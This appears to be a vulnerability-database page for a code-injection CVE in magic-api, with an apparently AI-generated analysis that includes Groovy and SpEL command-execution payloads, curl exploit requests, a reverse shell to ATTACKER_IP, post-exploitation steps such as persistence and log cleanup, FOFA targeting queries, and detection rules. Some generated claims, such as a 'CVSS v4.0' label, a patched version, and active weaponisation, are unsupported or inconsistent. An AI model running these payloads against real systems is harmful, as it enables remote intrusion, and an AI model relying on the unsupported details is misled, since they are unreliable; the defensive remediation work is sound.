CVE Professor
/
All CVEs
CVE-2026-138103

CVE-2026-138103 — Ssssssss-team Magic-Api — CWE-74 · CWE-94

HIGH CVSS 7.3 ⚡ EPSS 0.4% NVD

A vulnerability was detected in ssssssss-team magic-api up to 2.2.2. This issue affects the function saveFile of the file MagicResourceController.java of the component magic-api-core resource save API. The manipulation results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

A vulnerability was detected in ssssssss-team magic-api up to 2.2.2. This issue affects the function saveFile of the file MagicResourceController.java of the component magic-api-core resource save API. The manipulation results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 31. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑138103
Product: ssssssss-team:magic‑api (core component magic‑api‑core, version ≤ 2.2.2)
Location in source: MagicResourceController.java → method saveFile (resource‑save API)

Technical root‑cause

CWEDescriptionHow it maps to the bug
CWE‑94 – *Improper Control of Generation of Code*User‑supplied data is incorporated into code that is later compiled/evaluated without sufficient validation or sandboxing.saveFile accepts a request body that is written to a temporary file and then executed by the framework’s script engine (e.g., Groovy, JavaScript, or Spring Expression Language). The content is taken verbatim; no whitelist, no sandbox, and no “safe‑eval” flag is applied.
CWE‑74 – *Improper Neutralization of Special Elements in Output Used by a Downstream Component*Data that contains special characters is emitted to a downstream component that interprets them as code.The same request body is handed off to the script engine. Because the engine parses the file as code, any special characters (${…}, <% … %>, etc.) are interpreted as executable statements.

Missing protection

1. No input sanitisation / whitelist – the controller trusts the supplied file content.
2. No execution sandbox – the script engine runs with the same privileges as the application (typically the web‑app user, which often has write access to the deployment directory and may be able to spawn OS processes).
3. No authentication/authorization check – the endpoint is publicly reachable (PR:N, UI:N in the CVSS vector).

Consequently, an unauthenticated remote attacker can send a crafted payload that is persisted and then interpreted as code, leading to remote code execution (RCE) on the host running the Magic‑API service.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow.
All request examples are illustrative – the exact URI, HTTP method, and parameter names are not disclosed in the public advisory. Replace them with the real values observed in the target deployment.

1️⃣ Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify the application stack.Scan the target with Nmap (-sV) or Wappalyzer to fingerprint a Java‑based REST API exposing /magic-api/*.
1.2Enumerate exposed endpoints.Use dirsearch or gobuster against https://target/ with a wordlist containing resource, save, magic. Look for a 200/201 response that returns JSON schema.
1.3Determine version.The API often returns a X-Magic-API-Version header or embeds the version in a /info endpoint. If not, check the pom.xml or META-INF/MANIFEST.MF served via a mis‑configured static path.
1.4Verify vulnerability existence.Send a benign payload (e.g., a harmless Groovy script that writes a known string to /tmp/verify.txt). If the file appears, the endpoint is vulnerable.

2️⃣ Exploitation

Goal: Execute arbitrary OS commands on the server.

2.1 Craft the malicious payload

Assuming the engine is Groovy (common in Java‑based “magic” APIs), a minimal RCE payload is:

// Groovy payload – writes the output of `id` to /tmp/pwned.txt
new File('/tmp/pwned.txt').text = "uid=${'id'.execute().text}"

If the engine is Spring Expression Language (SpEL), the payload could be:

#{T(java.lang.Runtime).getRuntime().exec('id').getInputStream().readAllBytes()}

2.2 Send the request

# Illustrative curl – replace /api/resource/save with the real endpoint
curl -k -X POST "https://target/magic-api/resource/save" \
     -H "Content-Type: application/json" \
     -d '{
           "filename": "exploit.groovy",
           "content": "new File(\"/tmp/pwned.txt\").text = \"uid=${\"id\".execute().text}\""
         }'

Explanation of fields (illustrative):

  • filename – name under which the controller stores the file.
  • content – the raw script that will be persisted and later executed by the server‑side engine.
  • If the API expects a multipart form:

    curl -k -X POST "https://target/magic-api/resource/save" \
         -F "[email protected];type=text/plain" \
         -F "path=uploads/"

    2.3 Verify execution

    curl -k "https://target/tmp/pwned.txt"
    # Expected output: uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

    If the file is not directly reachable, the attacker can instead force the script to open a reverse shell:

    // Reverse shell payload (Groovy)
    def proc = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1".execute()
    proc.waitFor()

    Send the same request, then listen locally:

    nc -lvnp 4444

    A shell is obtained as the user that runs the Java process (often www-data or tomcat).

    3️⃣ Post‑exploitation

    PhaseTypical actions
    Privilege escalationIf the Java process runs with limited privileges, the attacker can: <br>• Search for sudo rights (sudo -l). <br>• Exploit local kernel or container escape vulnerabilities (e.g., CVE‑2023‑XXXX) to gain root.
    PersistenceDrop a startup script in a directory that the Java process loads on restart (e.g., WEB-INF/classes/), or create a cron job (/etc/cron.d/magic) if the compromised user can write there.
    Lateral movementUse the compromised host as a foothold to scan internal services (nmap -sS 10.0.0.0/24).
    Data exfiltrationRead configuration files (application.yml, .env) that may contain DB credentials, then pivot to databases.
    Cleanup / anti‑forensicsDelete the uploaded script (rm /path/to/exploit.groovy) and any evidence in server logs.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical effect
    Confidentiality (C)VC:L – Low impactAttacker can read files that the Java process can access (e.g., configuration, source code).
    Integrity (I)VI:L – Low impactAttacker can modify files under the application’s write scope (e.g., inject malicious scripts, alter resources).
    Availability (A)VA:L – Low impactThe attacker can cause denial‑of‑service by crashing the JVM or deleting critical resources, but the primary goal is code execution, not outright outage.

    Because the vulnerability is network‑accessible, requires no authentication, and has a public exploit, an opportunistic attacker can quickly achieve remote code execution on any exposed instance of magic‑api ≤ 2.2.2. In a typical SaaS or internal micro‑service deployment, this translates to:

  • Full compromise of the host running the service.
  • Potential pivot to other services in the same network segment.
  • Exposure of any data the service can read (API keys, customer data).

  • 🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    ActionDetails
    UpgradeMove to a version ≥ 2.2.3 (the first release that removes the unsafe saveFile execution path). If a newer patch is not yet published, apply the commit that disables the dynamic script evaluation in MagicResourceController.saveFile.
    Back‑portFor environments that cannot upgrade immediately, apply the following code change (illustrative): <br>``java<br>// BEFORE – dangerous eval<br>scriptEngine.eval(fileContent);<br>// AFTER – reject non‑JSON or enforce whitelist<br>if (!isAllowedScript(fileContent)) { throw new BadRequestException(); }<br>`
    Dependency checkEnsure the embedded script engine (e.g., groovy-all, spring‑expression`) is updated to a version that supports sandboxing or is removed entirely.

    2️⃣ Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Network isolationBlock inbound traffic to the vulnerable endpoint at the perimeter firewall or cloud security group (e.g., Deny TCP 443 to /magic-api/resource/save).
    Authentication hardeningPlace the endpoint behind an API gateway that enforces authentication (OAuth2, API keys) and rate‑limits requests (max 5 req/min per IP).
    Input validation via WAFDeploy a ModSecurity rule that rejects payloads containing script‑engine delimiters (<%, ${, #{, groovy, Runtime.getRuntime). Example rule: <br>``SecRule REQUEST_BODY "(<%\\$\\{\#\\{)" "id:1000010,phase:2,deny,log,msg:'Potential code‑injection payload to magic‑api saveFile'"`
    File‑system permissionsRun the Java process under a dedicated, non‑privileged user and mount the directory used for temporary script storage as noexec.
    Disable the endpointIf the saveFile API is not required, comment out the controller mapping or set a feature flag to false`.

    3️⃣ Detection

    IndicatorWhere to lookExample log line
    POST to the save endpoint with suspicious contentWeb server access logs (access.log) or application logs (magic-api.log).POST /magic-api/resource/save 200 1234 "-" "curl/7.88.1" "filename=exploit.groovy&content=new+File(%27/tmp/pwned.txt%27).text+%3D+%22uid%3D${%27id%27.execute().text}%22"
    Execution of Runtime.exec or ProcessBuilderJVM stack traces or audit logs (/var/log/audit/audit.log).type=EXECVE msg=audit(1698624001.123:456): argc=3 a0="bash" a1="-c" a2="id"
    Creation of files in unexpected locationsHost‑level file‑integrity monitoring (e.g., osquery, Tripwire).CREATE /opt/magic-api/tmp/exploit.groovy
    Outbound connections to unknown IP/portNetwork flow logs, IDS alerts.Detected outbound TCP SYN to 203.0.113.45:4444
    New reverse‑shell processesProcess monitoring (ps aux, procfs).www-data 1245 0.0 0.1 123456 2345 ? S 12:34 0:00 /bin/bash -i >& /dev/tcp/203.0.113.45/4444 0>&1

    Set up SIEM correlation rules that trigger when any of the above appear together (e.g., a POST to /save followed within 30 s by a new process executing /bin/bash).


    ⚠️ Urgency

  • CVSS v4.0 Base Score: 7.3 (Medium) – network‑reachable, no authentication, low complexity, public exploit.
  • Exploit Availability: Publicly released (the advisory explicitly states “exploit is now public”).
  • CISA KEV: Not listed, but the lack of a KEV entry does not diminish risk; the vulnerability is already being weaponised.
  • Patch priority: Critical for any environment where the endpoint is exposed to the Internet or untrusted internal networks.

  • Immediate actions (0‑24 h): Block the endpoint at the perimeter, enforce authentication, and deploy the WAF rule.
  • Short‑term (1‑3 days): Apply the back‑ported code fix or upgrade to the patched version.
  • Long‑term (≤ 1 week): Complete version upgrade, perform a full code‑review of all dynamic‑execution paths, and harden the deployment (least‑privilege containers, immutable file‑system mounts).
Given the low barrier to exploitation and the presence of a public PoC, delay beyond a few days dramatically increases the likelihood of compromise. Deploy mitigations now and schedule the upgrade as a top priority.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="ssssssss-team magic-api"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138103
Technical reference / advisory repository for CVE-2026-138103
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-74 CWE-94
Affected Products (1)
ssssssss-team:Magic-Api
Related CVEs
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera
8.2
CVE-2026-144963
Docutils before 0.23.1 contains a TeX injection vulnerability in the LaTeX writer that allows attackers supply
7.9
CVE-2026-119614
A flaw was found in CRIU. This vulnerability allows an attacker to break container isolation by supplying a ma
7.4
CVE-2026-61706
Infracost helps see cloud cost estimates for Terraform in pull requests. From version 4.0.0 to before version
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun